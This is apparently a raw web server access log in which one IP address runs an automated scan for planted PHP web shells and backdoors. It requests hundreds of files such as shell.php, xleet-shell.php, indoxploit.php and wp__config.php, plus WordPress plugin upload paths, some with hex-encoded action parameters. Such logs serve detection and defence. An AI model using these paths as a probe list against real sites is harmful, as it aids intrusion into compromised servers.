196.251.80.56 - - [23/Sep/2025:15:32:28 -0400] "GET /pp.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:32:31 -0400] "GET /ppek.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:32:38 -0400] "GET /pr8.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:32:49 -0400] "GET /priv8.jpg.php HTTP/1.1" 301 795 "-" "-"
130.211.50.131 - - [23/Sep/2025:15:33:01 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1"
196.251.80.56 - - [23/Sep/2025:15:33:10 -0400] "GET /proshell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:33:16 -0400] "GET /prov.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:33:29 -0400] "GET /psy.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:33:33 -0400] "GET /pu.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:33:43 -0400] "GET /pudidi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:33:51 -0400] "GET /px.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:33:59 -0400] "GET /pypas.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:34:02 -0400] "GET /pystqcfmbi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:34:05 -0400] "GET /qq.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:34:08 -0400] "GET /queen.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:34:13 -0400] "GET /r0x.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:34:19 -0400] "GET /r13salfa.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:34:22 -0400] "GET /r2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:34:25 -0400] "GET /rShell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:34:32 -0400] "GET /ra.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:34:35 -0400] "GET /rabaria.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:34:41 -0400] "GET /rafis.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:34:51 -0400] "GET /ran.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:34:10 -0400] "GET /qvlrbdvvfy.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:34:17 -0400] "GET /r123.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:34:27 -0400] "GET /rShell2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:34:39 -0400] "GET /radhe.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:34:45 -0400] "GET /raimu.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:34:47 -0400] "GET /rakariki.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:34:58 -0400] "GET /ransom%20shell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:35:23 -0400] "GET /rawarontek.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:35:27 -0400] "GET /rdp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:35:34 -0400] "GET /re7.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:35:38 -0400] "GET /read.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:35:49 -0400] "GET /rebel.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:35:57 -0400] "GET /red-dir.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:36:08 -0400] "GET /redrum-individual.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:36:11 -0400] "GET /redshell.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:36:15 -0400] "GET /rehal.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:36:18 -0400] "GET /rei.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:36:21 -0400] "GET /reinshell-v2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:36:24 -0400] "GET /relax.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:36:27 -0400] "GET /relaxafwrwrwgkpkakaowwkkwskdkskskskaiisksks.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:36:31 -0400] "GET /remi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:36:34 -0400] "GET /remonyet.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:36:37 -0400] "GET /revies.aspx HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:36:40 -0400] "GET /rey.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:36:46 -0400] "GET /rezzapantek.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:36:57 -0400] "GET /rin.php.png HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:37:15 -0400] "GET /routepath.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:37:19 -0400] "GET /rs.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:37:21 -0400] "GET /rsm.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:37:24 -0400] "GET /rsp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:34:54 -0400] "GET /rans.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:35:00 -0400] "GET /ransom.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:35:02 -0400] "GET /ransomE.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:35:08 -0400] "GET /ransoma.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:35:13 -0400] "GET /rashid.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:35:18 -0400] "GET /rava.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:35:31 -0400] "GET /re.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:35:40 -0400] "GET /readme.aspx HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:35:44 -0400] "GET /readme.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:35:54 -0400] "GET /recep.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:36:01 -0400] "GET /red.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:36:05 -0400] "GET /redfanet.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:36:49 -0400] "GET /rfm.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:36:53 -0400] "GET /ridho_gans_shell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:37:00 -0400] "GET /rintod.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:37:03 -0400] "GET /riyan.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:37:06 -0400] "GET /rkfxglqbtv.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:37:10 -0400] "GET /rm-rf.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:37:14 -0400] "GET /rnsm.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:37:26 -0400] "GET /rubs.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:37:29 -0400] "GET /run.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:37:41 -0400] "GET /rz.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:37:44 -0400] "GET /s& HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:37:52 -0400] "GET /s3ven.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:37:54 -0400] "GET /saa.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:38:05 -0400] "GET /sabuncitra.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:38:10 -0400] "GET /sadrazam.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:38:13 -0400] "GET /sahar.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:38:21 -0400] "GET /samo1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:38:24 -0400] "GET /samsul.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:38:27 -0400] "GET /san.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:38:30 -0400] "GET /sanggam2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:38:34 -0400] "GET /sanz.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:38:45 -0400] "GET /saudi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:38:52 -0400] "GET /sawit.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:38:57 -0400] "GET /scanner.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:39:01 -0400] "GET /scorpiol.phtml.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:39:10 -0400] "GET /script4.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:39:14 -0400] "GET /scupe.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:39:19 -0400] "GET /search.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:39:35 -0400] "GET /secret.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:39:42 -0400] "GET /sedboy.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:39:47 -0400] "GET /select.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:39:51 -0400] "GET /sell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:39:55 -0400] "GET /seller.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:40:02 -0400] "GET /sendinbox-server.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:40:11 -0400] "GET /ser.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:40:19 -0400] "GET /ses.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:40:36 -0400] "GET /sh2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:40:44 -0400] "GET /shadow.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:40:59 -0400] "GET /shelasla.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:41:06 -0400] "GET /wp-includes/PHPMailer/Exception.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:41:10 -0400] "GET /shell-v3.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:41:16 -0400] "GET /shell.php.jpg HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:41:18 -0400] "GET /shell.php.txt HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:41:21 -0400] "GET /shell.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:41:25 -0400] "GET /shell.png.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:41:28 -0400] "GET /shell.rey.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:41:31 -0400] "GET /shell.shtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:41:40 -0400] "GET /shell.turbo.php.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:41:44 -0400] "GET /shell2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:41:54 -0400] "GET /shell29.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:42:03 -0400] "GET /shell4041.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:42:13 -0400] "GET /shellTOP.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:42:27 -0400] "GET /shellalfa.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:37:32 -0400] "GET /rvw7.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:37:35 -0400] "GET /rx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:37:38 -0400] "GET /rx205.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:37:46 -0400] "GET /s1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:37:49 -0400] "GET /s3l.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:37:59 -0400] "GET /sab3on.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:38:08 -0400] "GET /sad.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:38:15 -0400] "GET /sakit.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:38:18 -0400] "GET /salim.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:38:37 -0400] "GET /sark.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:38:40 -0400] "GET /saskra.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:39:06 -0400] "GET /script.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:39:16 -0400] "GET /sds.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:39:23 -0400] "GET /sec.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:39:26 -0400] "GET /sec.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:39:29 -0400] "GET /secahmet.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:39:33 -0400] "GET /secdar.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:39:38 -0400] "GET /security.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:39:44 -0400] "GET /sel.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:39:58 -0400] "GET /semangat45.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:40:06 -0400] "GET /sendiri.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:40:15 -0400] "GET /server-optimization.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:40:25 -0400] "GET /setting.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:40:28 -0400] "GET /sex.php.jpg HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:40:31 -0400] "GET /sh00l.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:40:40 -0400] "GET /sh3llz.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:40:48 -0400] "GET /shady.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:40:52 -0400] "GET /she.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:40:55 -0400] "GET /shel.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:41:03 -0400] "GET /shell-1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:41:06 -0400] "GET /shell-v2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:41:11 -0400] "GET /shell.jpg.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:41:14 -0400] "GET /shell.php.html HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:41:34 -0400] "GET /shell.turbo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:41:49 -0400] "GET /shell202.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:41:59 -0400] "GET /shell404.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:42:05 -0400] "GET /shell7.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:42:07 -0400] "GET /shellCCD.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:42:10 -0400] "GET /shellD.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:42:18 -0400] "GET /shellXRenzo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:42:23 -0400] "GET /shell_Kidz_jama.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:42:30 -0400] "GET /shellboy.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:42:38 -0400] "GET /shellhorden.aspx HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:42:49 -0400] "GET /shelljung.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:42:51 -0400] "GET /shellkuat.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:42:34 -0400] "GET /shellf.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:42:55 -0400] "GET /shelll.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:42:58 -0400] "GET /shellme.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:43:03 -0400] "GET /shellmini.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:43:09 -0400] "GET /shelltest.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:43:15 -0400] "GET /shelw.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:43:25 -0400] "GET /si%20tolol%20shell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:43:28 -0400] "GET /si.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:43:34 -0400] "GET /sikisdorukta.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:43:55 -0400] "GET /wp-admin/indoxploit.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:44:04 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:44:11 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:44:14 -0400] "GET /x.php?action=768776e296b6f286f26796e2a72607e2972647 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:44:17 -0400] "GET /wp__config.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:44:21 -0400] "GET /wp-content/wp__config.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:44:21 -0400] "GET /wp-content/plugins/wordpresss3cll/up.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:44:37 -0400] "GET /wp-content/plugins/wp-file-manager/lib/files/abruzi.php4 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:44:38 -0400] "GET /wp-commentin.php?pass=f0aab4595a024d626315fb786dce8282 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:44:41 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/i8HQoK6nR.php?action=768776e296b6f286f26796e2a72607e2972647 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:44:45 -0400] "GET /wp-content/plugins/anttt/simple.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:44:45 -0400] "GET /wp-content/plugins/gatewayapi/inc/a57bze8931.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:44:45 -0400] "GET /.well-known/pki-validation/ssl.php?xsec=blocker HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:44:45 -0400] "GET //wp-admin/xleet-shell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:44:50 -0400] "GET /wp-content HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:44:51 -0400] "GET /.well-known/wp-2019.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:44:55 -0400] "GET /wp-admin/wp__config.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:45:01 -0400] "GET /abruzi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:45:06 -0400] "GET /wp-includes/wp__config.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:45:22 -0400] "GET /wp-content/plugins/wp-file-manager/lib/files/a57bze8931.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:45:31 -0400] "GET /sivasiker.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:45:34 -0400] "GET /six3sec.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:45:37 -0400] "GET /siyahi.uploder.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:45:45 -0400] "GET /sl.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:45:48 -0400] "GET /sla.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:46:12 -0400] "GET /sm.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:46:16 -0400] "GET /smarto.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:46:25 -0400] "GET /smtp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:46:27 -0400] "GET /sn.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:46:33 -0400] "GET /so.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:43:06 -0400] "GET /shellpandu.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:43:13 -0400] "GET /shellxd.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:43:19 -0400] "GET /shh.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:43:21 -0400] "GET /shura69.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:43:40 -0400] "GET /sin.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:43:45 -0400] "GET /single.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:43:48 -0400] "GET /wp-admin/wp-22.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:44:04 -0400] "GET /wp-admin/xl2023.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:44:11 -0400] "GET /wp-includes/wp-22.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:44:21 -0400] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:44:22 -0400] "GET /wp-admin/xleet-shell.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:44:29 -0400] "GET /wp-content/plugins/ioptimization/a57bze8931.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:44:30 -0400] "GET /simple.php?p=2f686f6d652f7074317464616379696b39722f7075626c69635f68746d6c&tod=75706c6f6164 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:44:33 -0400] "GET /wp-video.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:44:38 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:45:10 -0400] "GET /wp-content/plugins/dzs-zoomsounds/king HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:45:10 -0400] "GET /wp-content/wp-22.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:45:10 -0400] "GET /wp-admin/css/colors/blue/uploader.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:45:21 -0400] "GET /wp-content/uploads/wp_live_chat/abruzi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:45:22 -0400] "GET /site-loader.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:45:26 -0400] "GET /site.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:45:41 -0400] "GET /sky.php HTTP/1.1" 301 795 "-" "-"
3.8.4.18 - - [23/Sep/2025:15:45:49 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
206.189.247.132 - - [23/Sep/2025:15:45:49 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
45.133.173.29 - - [23/Sep/2025:15:45:50 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:15:45:50 -0400] "GET /slirmu.php HTTP/1.1" 301 795 "-" "-"
146.190.11.185 - - [23/Sep/2025:15:45:50 -0400] "GET /index.html HTTP/1.1" 200 1404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:15:45:53 -0400] "GET /slot77.shtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:45:56 -0400] "GET /slotbtpn.shtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:46:01 -0400] "GET /slotgacor.shtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:15:46:06 -0400] "GET /slotgacorbankneo.shtml HTTP/1.1" 301 795 "-" "-"
